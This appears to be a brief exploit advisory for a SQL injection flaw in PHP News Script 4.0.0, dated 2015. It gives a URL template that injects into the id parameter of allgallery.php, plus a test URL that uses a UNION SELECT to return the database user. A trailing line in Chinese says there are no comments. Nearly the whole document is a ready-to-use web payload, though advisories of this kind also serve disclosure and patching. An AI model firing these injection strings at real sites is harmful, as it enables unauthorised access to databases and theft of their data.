<p># Exploit Title: PHP News Script 4.0.0 Sql Injection</p><p># Date: 2015-08-01</p><p># Version: 4.0.0</p><p># Tested on: CentOS</p><hr><p><br></p><p><b>Exploit </b>:</p><pre class="">http://server/allgallery.php?id=-9999%27+[sql-command]+%23</pre><p> </p><p><b>Test :</b></p><pre class="">http://server/demo/allgallery.php?id=-100%27+union+select+user()%23</pre>
暂无评论